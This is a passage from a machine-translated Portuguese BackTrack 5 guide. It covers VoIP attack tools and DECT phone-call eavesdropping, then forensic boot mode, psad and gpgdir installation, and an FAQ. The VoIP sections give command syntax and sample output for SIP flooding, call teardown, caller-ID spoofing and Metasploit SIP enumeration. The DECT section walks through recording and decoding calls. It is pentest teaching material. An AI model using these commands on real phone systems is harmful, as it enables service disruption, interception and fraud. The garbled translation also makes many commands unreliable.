Não importa se você usou ou voiphopper ace agora você pode interceptar o tráfego de VoIP com ferramentas como "ucsniff", especificando que recém-criado interface. Por exemplo: root @ bt :/ pentest / voip / ucsniff # ucsniff-i eth0.20 / / / /
Denial Of Service Um ataque de negação de serviço em serviços de VoIP pode inutilizá-lo, causando um dano intencional à rede e disponibilidade de sistemas de VoIP. Este ataque pode ocorrer em dois níveis, padrão de ataques de rede de DoS e VoIP específicas dos. Geralmente vamos enviar toneladas de dados inundando a rede para consumir todos os seus recursos ou um protocolo específico para massacrála com toneladas de solicitações.Vamos dar uma rápida visão geral das ferramentas disponíveis no Backtrack
Inviteflood Esta ferramenta pode ser utilizada para inundar um alvo com CONVIDAR pedidos que podem ser usadas para direcionar gateways SIP / proxies e telefones SIP. root @ bt :/ pentest / voip / inviteflood # . / inviteflood inviteflood - Versão 2.0 09 de junho de 2006
Uso: Obrigatório interface (por exemplo, eth0) usuário-alvo (por exemplo, "" ou john.doe ou 5000 ou "1 +210555-1212") domínio de destino (por exemplo enterprise.com ou um endereço IPv4) IPv4 addr da meta cheia (ddd.ddd.ddd.ddd) fase de enchente (ie o número de pacotes) Opcional -Uma ferramenta de inundação "De:" alias (por exemplo jane.doe) -I IPv4 endereço IP de srcem [padrão é o endereço IP da interface] -S srcport (0 - 65535) [padrão é bem conhecida porta de descarte 9] -D destPort (0 - 65535) [padrão é bem conhecida SIP porta 5060] -L linha LineString usado por SNOM [padrão é em branco] -S do sono tempo btwn msgs convidam (usec) -H ajudar - imprimir esse uso -V modo verbose
A sintaxe de uso básico se parece com isso:
. / Inviteflood eth0 target_extension domínio_de_destino target_ip number_of_packets
Enquanto a ferramenta mantém inundando o gateway SIP que vai impedir que os usuários fazer chamadas telefônicas. Você pode inundar o SIP Proxy com uma extensão inexistente, tornando assim gerando um 404 não encontrado apenas para mantê-lo ocupado.
Rtpflood Rtp inundação é usado para inundar um telefone IP de destino com um pacote UDP contém um conjunto de dados RTP A fim de lançar um ataque bem sucedido usando rtpflood você vai precisar saber a porta de escuta RTP no dispositivo remoto que pretende atacar, por exemplo, x-lite padrão sofphone rtp porta é 8000. root @ bt :/ pentest / voip / rtpflood # / rtpflood. uso:. / rtpflood sourcename DestinationName srcport destport numpackets SSID timestamp seqno
Iaxflood IAXFlood é uma ferramenta para inundar o protocolo IAX2 que é usado pelo asterisco PBX. root @ bt :/ pentest / voip / iaxflood # / iaxflood. de uso:. / iaxflood DestinationName numpackets sourcename
Teardown Teardown é usado para terminar uma chamada enviando uma solicitação bye . Teardown / eth0 extensão sip_proxy 10.1.101.35 ToTag FromTag callid
Primeiro você terá que capturar uma resposta SIP válido OK e utilizar a sua de e para tags e um valor de identificação válido chamador.
SIP/2.0 200 OK Via: SIP/2.0/UDP 192.168.1.105; ramo = z9hG4bKkfnyfaol; recebeu = 192.168.1.105; rport = 5060 From: "200" ; Tag = hcykd Para: "200" ; Tag = as644fe807 Call-ID: jwtgckolqnoylqf @ backtrack CSeq: 134 REGISTER User-Agent: Asterisk PBX Permitir: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY Apoiado: substitui Expira em: 3600 Contato: ; Expira = 3600 Data: Tue, 01 de fevereiro de 2011 17:55:42 GMT Content-Length: 0
Se você especificar a opção "-v" opção você pode ver a carga: SIP PAYLOAD para o pacote: BYE sip: [email protected]: 5060 SIP/2.0 Via: SIP/2.0/UDP 192.168.1.105:9; ramo = 91ca1ba5-98ee-44d5-917061c30981c565 De: ; tag = hcykd Para: 200 ; tag = as644fe807 Call-ID: jwtgckolqnoylqf @ backtrack CSeq: 2000000000 BYE Max-Forwards: 16 User-Agent: Hacker Content-Length: 0 Contato:
Caller ID Spoofing Existem vários métodos para Caller ID spoofing que não vamos discutir aqui, porque requer um conjunto diferente de ferramentas e equipamentos que são irrelevantes para o presente artigo. ID Spoofing chamadas em SIP é bastante fácil, você só precisa mudar o SIP pedido "INVITE" do cabeçalho. CONVIDAM SIP: @ 127.0.0.1 SIP/2.0 Para: Via: SIP/2.0/UDP 192.168.1.104 De: "Hacker mal" Call-ID: 14810.0.1.45 CSeq: 1 INVITE Max-Forwards: 20 Contato:
Vamos dar uma olhada em uma ferramenta que já discutimos chamado Inviteflood que pode ser usado para enviar falsificado convidar pedidos.
root @ bt :/ pentest / voip / inviteflood # . / inviteflood eth0 192.168.1.104 192.168.1.104 201 1-um "retrocesso"
Atacar VoIP Usando Metasploit O Metasploit Framework inclui vários auxiliares e os módulos dedicados para VoIP exploração. Você pode encontrá-los usando a função de pesquisa com palavraschave como "gole" ou "voip". Vamos lançar "msfconsole" e realizar uma busca por módulos disponíveis: root @ bt: ~ # msfconsole msf> Pesquisa gole
Módulos Metasploit VoIP Aqui está uma lista completa dos módulos disponíveis para você de referência: Auxiliares
scanner / sip / enumerador - SIP Enumerator Nome de Usuário (UDP) scanner / sip / enumerator_tcp - SIP Enumerator Usuário (TCP) scanner / sip / options SIP Scanner Endpoint (UDP) scanner / sip / options_tcp - SIP Scanner Endpoint (TCP) voip / sip_invite_spoof - SIP Invite Spoof Exploits
windows / sip / aim_triton_cseq - AIM Triton 1.0.4 Buffer Overflow CSeq windows / sip / sipxezphone_cseq - SIPfoundry sipXezPhone 0.35A estouro de Campo CSeq windows / sip / sipxphone_cseq - SIPfoundry sipXphone 2.6.0.27 estouro de buffer CSeq unix / w ebapp / trixbox_langchoice Trixbox langChoice PHP Inclusão de arquivos local
Digitalização de Dispositivos SIP Metasploit fornece um gole do scanner auxiliar que vem em dois sabores TCP e UDP, podemos usá-lo para descobrir dispositivos SIP, utilizando o método OPÇÃO: Vamos ver um exemplo da versão UDP: scanner / sip / opções auxiliares Opções de auxiliares e de uso:
msf> uso auxiliares / scanner / sip / opções msf auxiliar (options)> mostra opções Opções de módulo (auxiliar / scanner / sip / opções): Nome Descrição de Corrente Obrigatório -------------------------------------BATCHSIZE 256 sim O número de servidores para sondar em cada conjunto CHOST não O endereço do cliente local CPORT 5060 não A porta do cliente local Rhosts sim O intervalo de endereços de destino ou identificador CIDR RPORT 5060 yes A porta-alvo Tópicos 1 sim O número de threads simultâneos A ninguém nenhum nome de usuário O destino a sondar em cada host msf auxiliar (options)> rhosts 192.168.1.130/24 conjunto Rhosts => 192.168.1.130/24 msf auxiliar (options)> run [*] 192.168.1.20 200 agente = 'Grandstream HT-502 V1.2A 1.0.1.35' verbos = 'INVITE, ACK, OPTIONS, CANCEL, BYE, subscrever, NOTIFY, INFO, REFER, UPDATE' [*] 192.168.1.21 200 agente = 'Grandstream HT-502 V1.2A 1.0.1.35' verbos = 'INVITE, ACK, OPTIONS, CANCEL, BYE, subscrever, NOTIFY, INFO, REFER, UPDATE' [*] 192.168.1.22 200 agente = 'Grandstream HT -502 V1.2A 1.0.1.35 'verbos =' INVITE, ACK, OPTIONS, CANCEL, BYE, subscrever, NOTIFY, INFO, REFER, UPDATE ' [*] 192.168.1.92 200 agente = 'Grandstream HT-502 V1.2A 1,0 .1.35 'verbos =' INVITE, ACK, OPTIONS, CANCEL, BYE, subscrever, NOTIFY, INFO, REFER, UPDATE ' [*] 192.168.1.140 200 agente = 'Grandstream HT-502 V1.2A 1.0.1.35' verbos = ' CONVIDAM, ACK, OPTIONS, CANCEL, BYE, subscrever, NOTIFY, INFO, REFER, UPDATE ' [*] 192.168.1.130 200 servidores = 'Asterisk PBX 1.6.2.13 dos verbos =' INVITE, ACK, CANCEL, OPTIONS, BYE, REFER , SUBSCRIBE, NOTIFY, INFO ' [*] 256 digitalizada de 256 hosts (100% completa) [*] execução do módulo Auxiliar concluído
Enumerando as extensões SIP / Usernames O scanner / sip / enumeradorauxiliar pode ser usada para descobrir contas SIP válidos, ele suporta dois métodos de descoberta: OPÇÕES e Registre-se, também vem em dois sabores TCP e UDP. Opções auxiliares: msf> o uso do scanner / sip / enumerador
msf auxiliar (recenseador)> mostrar opções Opções de módulo (auxiliar / scanner / sip / enumerador): Nome Descrição de Corrente Obrigatório -------------------------------------BATCHSIZE 256 sim O número de servidores para sondar em cada conjunto CHOST não O endereço do cliente local CPORT 5060 não A porta do cliente local MAXEXT 9999 sim Acabar com extensão Método Register método Enumeração sim usar as opções / CADASTRE-SE MINEXT 0 sim Começando extensão PADLEN 4 sim Cero comprimento máximo de preenchimento Rhosts sim O intervalo de endereços de destino ou identificador CIDR RPORT 5060 yes A porta-alvo Tópicos 1 sim O número de threads simultâneos
Exemplo de uso:
msf auxiliar (recenseador)> Rhosts conjunto 192.168.1.104 Rhosts => 192.168.1.104 msf auxiliar (recenseador)> definir MINEXT 100 MINEXT => 100 msf auxiliar (recenseador)> MAXEXT definir 500 MAXEXT => 500 msf auxiliar (recenseador)> definir PADLEN 3 PADLEN => 3 msf auxiliar (recenseador)> run [*] usuário Encontradas: 200 [Auth] [*] usuário Encontradas: 201 [Auth] [*] usuário encontrado : 202 [Auth] [*] usuário Encontradas: 203 [Auth] [*] usuário Encontradas: 204 [ Auth] [*] usuário encontrado: 300 [AUTH] [*] Verificadas 1 de 1 anfitriões (100% completa) [*] execução do módulo Auxiliar concluído
Caller ID Spoofing auxiliar O voip / sip_invite_spoof auxiliar irá criar um pedido de convite falso SIP fazer o anel dispositivo de destino e exibir informação falsa identificação do chamador. Opções auxiliares:
msf> uso voip / sip_invite_spoof msf auxiliares (sip_invite_spoof)> mostra opções Opções de módulo (auxiliar / voip / sip_invite_spoof): Nome Descrição de Corrente Obrigatório -------------------------------------MSG O Metasploit tem você, sim, o identificador de chamadas falsificado para enviar Rhosts sim O intervalo de endereços de destino ou identificador CIDR RPORT 5060 yes A porta-alvo SRCADDR 192.168.1.1 sim o endereço SIP a chamada falsa está vindo Tópicos 1 sim O número de threads simultâneos
Exemplo de uso:
msf auxiliar (sip_invite_spoof)> Rhosts conjunto 192.168.1.104 Rhosts => 192.168.1.104 msf auxiliar (sip_invite_spoof)> run [*] Envio SIP Falso convite para: 192.168.1.104 [*] digitalizada 1 de 1 anfitriões (100% completa) [*] execução do módulo Auxiliar concluído
Explorando os sistemas de VoIP Metasploit inclui vários exploits para gole software cliente e até mesmo para a interface de gerenciamento web PBX Trixbox. Embora esta não seja uma vulnerabilidade específica SIP ainda é relacionado e pode permitir um controle completo por um invasor em um PBX.
Palavras Finais Espero que você tenha encontrado este documento informativo, por favor, tenha em mente que Backtrack Linux oferece muitas ferramentas e recursos que não foram cobertas aqui. Aproveite o tempo para ver alguns dos instrumentos de ler os manuais e arquivos LEIAME Tenho certeza que você vai encontrar a ferramenta certa para o trabalho. Sinta-se livre para discutir as ferramentas e os métodos mencionados aqui nos fóruns Linux Backtrack que gostariam de aqui suas idéias e experiências de feedback.
http://www.backtrack-linux.org/forums/
Sobre o autor Shai haste (aka @ NightRang3r) é um Tester Pen tempo integral na Avnet Segurança da Informação & Gestão de Riscos em Israel; Ele detém o OSCP segurança ofensiva e certificações da OSCE (entre outros) e gerencia seu blog em http://exploit.co.il
Referências http://en.wikipedia.org/wiki/Session_Initiation_Protocol http://tools.ietf.org/html/rfc3261 http://www.hackingvoip.com/
DECT Sniffing Dedected Este artigo foi contribuído por 5M7X.
URL: http://www.back-track.de/index.php?page=team # smtx Twitter: ! http://twitter.com/ # / 5M7X
E-mail: [email protected]
AVISO PAÍSESFAT grande e peludo:. É ilegal gravar conversas telefônicas EM MUITOS Para obter uma lista de leis de privacidade do estado em os EUA,
O que é DECT? http://en.wikipedia.org/wiki/Digital_Enhanced_Cordless_Telecommunications
O problema? A maioria dos fornecedores não implementar a criptografia em seus dispositivos para que se possa cheirar-lo com determinado hardware e software. Para um post anterior sobre o tema, confira: http://www.offensivesecurity.com/backtrack/sniffing-dect-phones -os-details /
Testado em
BackTrack 5 KDE final, com o kernel 2.6.38 x86 Original Dosch & Amand Tipo II PCMCIA Telefones DECT SIEMENS C1 configurar em modo repetidor
NOTA: Este é um software experimental que não é muito apoiado activamente mais!
Instalando dedected A fim de obter dedected instalado no BackTrack, você tem a escolha entre: 1. Use dedected dos 5 inversas repositórios. 2. Compilá-lo em seu próprio país, se você quiser experimentar.
Instalar a partir do repositório root @ bt: ~ # apt-get update root @ bt: ~ # apt-get install dedected
Instalar a partir de fonte Esta etapa é opcional para aqueles que querem construir as ferramentas de código-fonte. root root root root root root root
@ @ @ @ @ @ @
bt: bt: bt: bt: bt: bt: bt:
~ ~ ~ ~ ~ ~ ~
# # # # # # #
preparar-kernel-fontes cd / usr / src / linux cp-rf include / gerado / * include / linux / cd / pentest / telefonia svn co https://dedected.org/svn/trunk dedected_svn cd dedected_svn / com-on-air_cs-linux / make && make - C ferramentas
Instalação de algumas ferramentas adicionais root @ bt: ~ # apt-get-y install audacity
Carregue os drivers de root @ bt: ~ # cd / pentest / telefonia / dedected / com-on-air_cslinux root @ bt: ~ # nó fazer
Se você não inserir o seu Dosch & Amand tipo 2 ou tipo 3 ou Voo: # doo cartão PCMCIA fazê-lo agora! Em seguida, carregar o driver: root @ bt: ~ # fazer carga
Verificar se há partes fixas aka FP (estações rádiobase DECT) root @ bt: ~ # cd / pentest / telefonia / dedected / com-on-air_cslinux / ferramentas root @ bt: ~ # . / dect_cli
Se você precisar de informações sobre o tipo de uso "ajuda". Se você mora no interruptor dos EUA para os EUA / DECT 6 bandas através da "banda" de comando. Vamos permitir someverbosity: verbo
E iniciar a digitalização de estações de base:
fpscan
Após a digitalização 2-3 vezes por todos os canais desativar verbosidade, e interromper a digitalização: verbo parar
Ignorar os telefones que você não quer para farejar (por exemplo, seus vizinhos!) Iniciar um callscan callscan
Agora pegue seu telefone DECT e fazer um telefonema de teste e espere até ver o telefonema. Também é suficiente se você só obter um tom de discagem. Você deve ver algo como # # # Encontrado nova chamada em 00 82 31 33 73 no canal 7 RSSI 34 parar
Nome do seu basestation se você quiser: nome 00 82 31 33 73 stallowned
Despeje todos os telefones encontrados: despejar
Ignore todos os outros telefones, exceto o seu através do seguinte comando! IMPORTANTE! ignorar 01 30 95 13 37
Gravar o telefonema Iniciar automaticially gravação de cada telefonema que detecta: veiculos
Agora pegue o seu aparelho de telefonia DECT e fazer um testcall. Eu recomendo chamar um "serivce tempo dizendo" que pode ser alcançado através de um número de telefone normal. Você deve obter algo como isto: # # # # # # #
# # # # # # #
# # # # # # #
Partida veiculos Parar DIP Partida callscan Tentando sincronizar em 00 82 ab 29 b0 Tem sincronia Dumping para dump_2011-06-11_21_37_37_RFPI_00_82_ab_b0_29.pcap Parar DIP
Depois que você desligou o telefonema do dumping deve parar:
Decodificar a chamada de fluxo de dados Parar a veiculos: parar
Decodificar o audiostream fora do despejo bruto root @ bt: ~ # . / decode.sh
Importe os fluxos em audácia e ouvir as chamadas Iniciar audácia via "alt + f2" e digite "audácia" e pressione enter. Importar a parte fixa e parte-hte arquivos wav portátil de / pentest / telefonia / dedected / com-onair_cs-linux / ferramentas via File -.> Import -> Áudio ou simplesmente "Ctrl + Shift + I". Importe os arquivos que terminam em. E pcap_fp.ima.g721.wav. Pcap_pp.ima.g721.wav.
Jogue o seu telefonema com o botão play:
Dica: se você só pode ouvir o barulho do telefone parece usar alguns codificação / criptografia. Você pode ativar o modo repetidor em seu telefone para que ele desativa criptografia e você pode testar se sua configuração está funcionando corretamente.
Limpe / Atualizar Se você precisar recarregar os drivers root @ bt: ~ # cd / pentest / telefonia / dedected / com-on-air_cslinux root @ bt: ~ # recarga fazer
Se você está acabado e querem fazer a limpeza: root @ bt: ~ # cd / pentest / telefonia / dedected / com-on-air_cslinux root @ bt: ~ # fazer descarregar root @ bt: ~ # rm / dev / coa
DECT protocolo
Se você estiver interessado em mais detalhes sobre o protocolo que você pode abrir o arquivo pcap em Wireshark.:
Vídeo: Sniffing telefones DECT com BackTrack 5 http://player.vimeo.com/video/25027253?title=0&byline=0&portrait=0
Sniffing telefones DECT com BackTrackde smtx .
Forensics Bota Forensics
Desde BackTrack 4 e agora BackTrack 5, você pode ter notado que BackTrack tem uma opção Forensics inversas mas o que exatamente é isso?
LiveCD e Forensics
Por um longo tempo agora, Linux Live CDs têm sido muito úteis para fins de aquisição forenses nos casos em que por um motivo ou outro, você não pode utilizar um bloqueador de gravação hardware. Quando configurado para não automount unidades, e um pouco de know how, um Linux Live CD pode ser um bloqueador de gravação maravilhoso software. Para um CD Linux vivo para serem considerados para este propósito no entanto, é da maior importância que a utilização do CD vivo não altera qualquer dados em qualquer forma. Essa é a razão principal que BackTrack foi lançada no passado, BackTrack seria automount unidades disponíveis e utilizar as partições de swap, quando disponíveis, fazendo isso BackTrack poderia ter causado todo tipo de confusão, a mudança dos tempos de montagem últimos, alterando dados no disco, e assim por diante . Mas desde que BackTrack 4 e agora BackTrack 5 que não é o caso anymore.
Como?
Então, vamos ter a colher. Pessoas forenses são muitas vezes detalhista e muito conservadora, assim como sabemos que é seguro usar? Bem, em primeiro lugar o BackTrack Live CD 5 é baseado fora de Casper, e não contém scripts de automount do sistema de arquivos em tudo. Os scripts de inicialização do sistema ter sido alterado no modo de boot forense para que BackTrack 5 não irá procurar ou fazer uso de todas as partições de swap que estão contidos no sistema. Todos esses scripts foram removidos do sistema.
Verificação :
Para testar esta funcionalidade, nós testamos esse modo de inicialização com várias configurações de hardware. Para cada teste, foi feito o snapshot antes MD5 dos discos do sistema, iniciado no modo de inicialização BackTrack5 forense, verificaram que não houve sistemas de arquivos foram montados e swap não estava em uso, fez uma série de atividades sobre o sistema, em seguida, desligar o sistema de volta e tomou um instantâneo após MD5. Na comparação dos dois instantâneos MD5, em cada caso eram uma correspondência, demonstrando nenhuma alteração nos discos tenha sido feita.
Uso :
Quando você utiliza fins forenses, certifique-se de nãoé deixá-lo passar por uma botaBacktrack autônoma.para Inicialização padrão para Backtrack o modo de inicialização padrão, que irá utilizar as partições de swap, se estiverem presentes. Há um atraso longo agradável no entanto, assim você terá tempo de sobra para selecionar o modo de inicialização apropriada. Além disso, lembre-se, esta é uma distribuição Linux. É altamente recomendável que você se familiarizar com o Linux antes de usar este ou qualquer outro CD Linux Live para qualquer finalidade forense. Além disso, não se esqueça de verificar as ferramentas adicionais forenses adicionados Backtrack 5. Nós nos concentramos sobre a adição de imagens e ferramentas de triagem, mas se você achar que um dos seus utilitários favoritos não está no lugar por favor nos avise para que possamos olhar para o ter adicionado.
PSAD Instalar
URL: http://www.nanotechfibers.com/ Twitter: ! http://twitter.com/ # / rickflores_
E-mail: [email protected]
psad: Detecção de Intrusão e análise de log com iptables O que é AASI? PSAD é uma coleção de três daemons do sistema leves (dois daemons principais e um daemon ajudante) que rodam em máquinas com Linux e analisar # iptables mensagens de log para detectar varreduras de portas e tráfego suspeito outro. Uma implementação típica é executar psad no firewall iptables onde tem # # o acesso mais rápido para registrar os dados.
Processo de Instalação:
Verifique md5sum, e chave pública:
root @ bt: ~ # cd / usr / local / src root @ bt: / usr / local / src # wget http://cipherdyne.org/psad/download/psad-2.1.7.tar.bz2 root @ bt: / usr / local / src # wget http://cipherdyne.org/psad/download/psad-2.1.7.tar.bz2.md5 root @ bt: / usr / local / src # wget http://cipherdyne.org / psad/downloa d/psad-2.1.7. tar.bz2.asc root @ bt: / usr / local / src # wget http://cipherdyne.org/public_key root @ bt: / usr / local / src # md5sum - c psad-2.1.7.tar.bz2.md5 psad-2.1.7.tar.bz2: OK root @ bt: / usr / local / src # gpg - import public_key root @ bt: / usr / local / src # gpg - verify psad-2.1.7.tar.bz2.asc # Gpg: Assinatura feita Seg 14 de julho de 2010 18:01:06 BRT usando DSA chave ID 0D3E7410 # Gpg: Assinatura válida a partir de "Michael Rash (chave de assinatura para projetos cipherdyne.org) "
Instale AASI:
root @ bt: / usr / local / src # tar xfj psad-2.1.7.tar.bz2 root @ bt: / usr / local / src # cd psad-2.1.7 root @ bt: / usr / local / src / psad-2.1.7 #. / install.pl # Você gostaria de instalar as últimas assinaturas de # http://www.cipherdyne.org/psad/signatures (y / n)? y
Iniciar AASI:
Observe que você irá obter o seguinte erro: root @ bt :/ usr/local/src/psad-2.1.7 # start / etc / init.d / psad Psad partida: [*] Não foi possível encontrar mail, edite o / etc / psad / psad.conf no diretório / usr / sbin / linha psad 9679.
Para corrigir isso, será necessário editar psad.conf localizado em / etc / psad / e adicione um endereço de e-mail da seguinte forma:
root @ bt :/ usr/local/src/psad-2.1.7 # vim / etc / psad / psad.conf
Também confira: Mais referências
Autor Bio: Paixões são nanoengenharia, Ruby programação, a exploração de software, explorar o desenvolvimento, hacking de hardware incorporado. Também gosto de levantamento de pesos, natação de combate, Ninjutsu, Parkour (corrida livre), o Krav Magá e MMA. Eu acredito "pode evoluir para qualquer coisa que você quiser com o mental tenacidade disciplina direito, e condicionamento físico.
GPGDir Instalar
URL: http://www.nanotechfibers.com/ Twitter: ! http://twitter.com/ # / rickflores_
E-mail: [email protected]
gpgdir - criptografia diretório recursiva com GnuPG O que é gpgdir? gpgdir é um script Perl que usa o GnuPG CPAN :: módulo de interface para criptografar e descriptografar diretórios usando uma chave gpg especificado em ~ /. gpgdirrc.
Processo de Instalação:
Verifique se a chave pública:
root @ bt: ~ # cd / usr / local / src / root @ bt: / usr / local / src # mkdir gpgdir root @ bt: / usr / local / src # cd gpgdir / root @ bt: / usr / local / src / # wget gpgdir http://cipherdyne.org/gpgdir/download/gpgdir-1.9.5.tar.bz2 root @ bt: / usr / local / src / # wget gpgdir http://cipherdyne.org/gpgdir/ download/gpgdir-1.9.5.tar.bz2.asc
root @ bt: / usr / local / src / # wget gpgdir http://cipherdyne.org/public_key root @ bt: / usr / local / src / gpgdir # gpg - importação public_key root @ bt: / usr / local / src / gpgdir # gpg - verify gpgdir1.9.5.tar.bz2.asc
Instale gpgdir:
root @ bt: / usr / local / src / # tar gpgdir xfj gpgdir-1.9.5.tar.bz2 root @ bt: / usr / local / src / # cd gpgdir gpgdir-1.9.5 root @ bt: / usr / local/src/gpgdir/gpgdir-1.9.5 #. / install.pl
Edite o arquivo de configuração para usar a chave padrão do GnuPG:
root @ bt: vim / usr / local / src / gpgdir
Também confira: Mais referências
Autor Bio: Paixões são nanoengenharia, Ruby programação, a exploração de software, explorar o desenvolvimento, hacking de hardware incorporado. Também gosto de levantamento de pesos, natação de combate, Ninjutsu, Parkour (corrida livre), o Krav Magá e MMA. Eu acredito "pode evoluir para qualquer coisa que você quiser com o mental tenacidade disciplina direito, e condicionamento físico.
BUGS CONHECIDOS Bug Conhecidos nas BackTrack BackTrack 5 R1
Instalação parece travar em 99%. Este é um bug cosmético introduzida por nós. Dê um tempo, ele ainda está copiando!. motoristas rt2800usb é sacanagem. Algumas placas de entrar em modo monitor, mas não mostram e os dados capturados. Se este for seu caso, tente compilar drivers personalizados a partir de um ramo compat-wireless. Para mosre
FAQ BackTrack Perguntas Frequentes Acabei de instalar o BackTrack, qual é a senha de root? O instalador Ubiquity utiliza o nome de usuário "root" e "toor" senha por padrão. Também recomendo que você mude isso assim que você ter reinicializado e verificado tudo está funcionando corretamente. Você pode fazer isso emitindo o seguinte comando e seguir as instruções. passwd root
Por que meu teclado param de funcionar quando eu tento digitar a senha? Não, o teclado ainda está trabalhando. Quando você digita sua senha no BackTrack, nada é mostrado na tela. Esta é uma medida de segurança para impedir que alguém "shoulder surfing" e ser capaz de ver quanto tempo a sua senha é, tornando assim mais difícil para alguém que você conhece para adivinhar a senha.
Como faço para iniciar o ambiente gráfico? Após arrancar a partir de DVD / USB ou após o login em uma instalação HDD, digite o seguinte comando startx
BackTrack é livre para download? Sim, e sempre será.
Vocês oferecem versões de 64 bits ou um gnomo de BackTrack? Sim, nós já oferecem 64bit e 32bit ISO, bem como suporte para dispositivos móveis baseados em ARM. Tanto a versão 32bit e 64bit quer entrar com Gnome ou KDE. Você também pode usar o Fluxbox como seu WM.
Qual versão devo baixar? Recomendamos que você faça o download BackTrack 5. Já não apoiar quaisquer outras versões.
Acabei de queimado meus iso e não vai arrancar? Os 3 problemas mais comuns são o md5sum é errado, o programa que você usou para gravar o arquivo. Iso ou mídia de baixo. Por favor, verifique essas três coisas antes de pedir ajuda.
Eu uso o Windows e eu não quero estragar tudo? Backtrack pode ser executado como um ambiente de dvd ao vivo que não irá afectar o seu Windows instalar de forma alguma. Se você executar o instalador e instalar no disco rígido você é responsável por particionar seu disco corretamente e selecionar a unidade correta ou partição. Guias sobre métodos de instalação podem ser encontradas na página de instalação . Lembre-se que as seleções incorretas podem limpar completamente o disco rígido e, potencialmente, deixá-lo sem o seu Windows srcinais / instalações de Linux! Considere isso como seu único aviso!
Eu ouvi o seu estúpido para ser executado como root? Muitas das ferramentas no Backtrack precisará ter acesso root para ser executado. Backtrack é uma distribuição de testes especializados penetração. Nós confio nossos usuários sabem os riscos de segurança da execução como usuário root.
Qual é o laptop "perfeito" para executar recuar em?
Versão de cada um, de perfeito é diferente. Não há computador perfeito. Por favor, verifique os fóruns onde usuários postam seus pensamentos sobre os modelos de computadores. Por favor, lembre-se de adicionar à sua lista também
Onde está o manual Backtrack? Não há manual. Nós escrever documentação oficial sobre como instalar o Backtrack e como usar algumas das ferramentas mais exóticos, no entanto, não escrever guias sobre hacking em geral. Temos um fórum da comunidade e um wiki, que contêm muitos usuários e tutoriais apresentados Dev-Team. Não se esqueça também de verificar o manual de seção do site para mais informações sobre a documentação oficial.
Vocês oferecem algum tipo de treinamento oficial? Consulte a nossa formação ofensiva Segurança website para a Formação BackTrack só oficial.
Onde posso encontrar mais informações sobre BackTrack? Mantenha-se atualizado com o nosso blogue , verificar os nossos fóruns e verificar se há inversas Correções aqui.
Por que eu não posso apenas adicionar os repositórios recuar para minha instalação do Ubuntu ou os repositórios do Ubuntu para minha instalação Backtrack? Recomendamos contra essa ação porque as ferramentas Backtrack são construídos com muitos recursos personalizados, bibliotecas e do kernel.Nós não temos nenhuma maneira de saber como eles irão realizar uma distribuição Backtrack não, mais você vai quebrar muito rapidamente a sua instalação.
Além disso, se você optou por adicionar os repositórios do Ubuntu para o seu Backtrack instalação, você provavelmente vai quebrar todo o seu Backtrack instalação muito rapidamente. Nós fazemos um monte de testes para garantir que todos os pacotes em nosso repo irão trabalhar em conjunto sem causar problemas. Se você decidir sobre este curso de ação que você o faz inteiramente por sua conta e risco e da equipe de voltar atrás não oferecerá qualquer apoio de qualquer forma.
Eu quiser / precisar de reconstruir o kernel, você pode me ajudar? Em primeiro lugar, é muito improvável que você realmente tem uma necessidade de fazer isso. Em segundo lugar, se você precisar de ajuda na reconstrução do kernel, então você provavelmente não deveria estar fazendo isso em primeiro lugar. Nós fazemos um monte de testes para garantir que todos os pacotes em nosso trabalho repo com o kernel nós fornecemos e usando seu próprio kernel não temos nenhuma maneira de saber o que vai quebrar a compatibilidade. Não apoiamos isso e não oferecem ajuda a quem optar por ir em frente e reconstruir o kernel. Desculpe, mas se você ainda sente que você quiser / precisar recompilar o kernel, por qualquer razão, você está no seu próprio país. Não apoiamos isso e vai oferecer nenhuma pergunta ou resposta de ajuda de quem optar por ir em frente e reconstruir o kernel.
Por que não os meus cartões de rede aparecem quando eu inicio o sistema? BackTrack é uma distribuição de testes de penetração e, como tais pedidos DHCP, etc, que entra na rede quando você inicializar normalmente são muito indesejáveis. Você pode facilmente ativar a rede, emitindo o seguinte comando: / Start etc / init.d / networking
Por que não posso uso BackTrack placa wireless "X" dentro VMWare ou Virtualbox? Qualquer software de virtualização só pode usar placas de rede sem fio USB como dispositivos físicos, todos os outros tipos de cartão sem fio são vistos como dispositivos virtuais de ethernet e só pode ser visto como um dispositivo sem fio
pelo anfitrião e não pelo sistema operacional convidado. Então, se você deseja executar BackTrack em VMWare ou Virtualbox e tem plenas capacidades sem fio, certifique-se que você está usando um dispositivo USB.
Por que você não fornecer uma imagem USB como você fez com as versões anteriores? As versões anteriores exigidos às vezes bastante complicado métodos para instalar em um stick USB, então por conveniência, desde imagens especiais para fácil instalação. Com as últimas edições do BackTrack nós eliminamos essa necessidade, pois ele pode ser facilmente instalado em um stick USB com ferramentas como Unetbootin ou através de métodos manuais, conforme descrito na Instalação seção deste site.
Como faço para contatá-lo? Para ser honesto, na maioria dos casos, você realmente não precisa. Em primeiro lugar considero isso, cada um de nós recebe centenas de e-mails e mensagens privadas, tanto nos fóruns e em nosso canal de IRC todos os dias. Quase todas essas mensagens são de pessoas fazendo perguntas simples que são ou abrangidos por este wiki, FAQ ou nofórum em si. Quase todas das pessoas é uma questão que deve ser perguntado sobre o fórum como são cobertos lá, ou a pergunta e é resposta subseqüente seria um benefício para toda a comunidade ao invés de apenas uma pessoa a perguntar. Pense desta forma, se você está fazendo esta pergunta, não faria sentido que alguém pode ter a mesma questão ou já podem ter perguntado isso. O fórum e wiki são fontes valiosas de informação, e que a informação é apenas tão boa como as perguntas e as respostas dadas. Em segundo lugar, toda a equipe são voluntários, nenhum de nós são pagos para trabalhar no projeto e todos nós temos vida, família, trabalho etc etc fora do BackTrack. Nós todos dar o nosso tempo livre para o projeto e mais do que é absorvido responder a estas perguntas é menos tempo temos que trabalhar em fazer BackTrack ainda melhor do que é. Assim, em breve, se a sua dúvida se enquadra na descrição acima, então é de seu interesse não enviar e-mail ou enviar uma mensagem privada. É mais provável que apenas são ignorados se não se enquadram nesta categoria.
No entanto, se há uma coisa não abrangidos pelo disposto acima, em seguida, por todos os meios que entre em contato conosco. Você pode encontrar toda a equipe de desenvolvimento em nosso canal de IRC (lembre-se que não vivemos lá o tempo todo), nos fóruns ou entre em contato com detalhes sobre a Sobre a página do site .
Onde está o canal de IRC que você está falando?
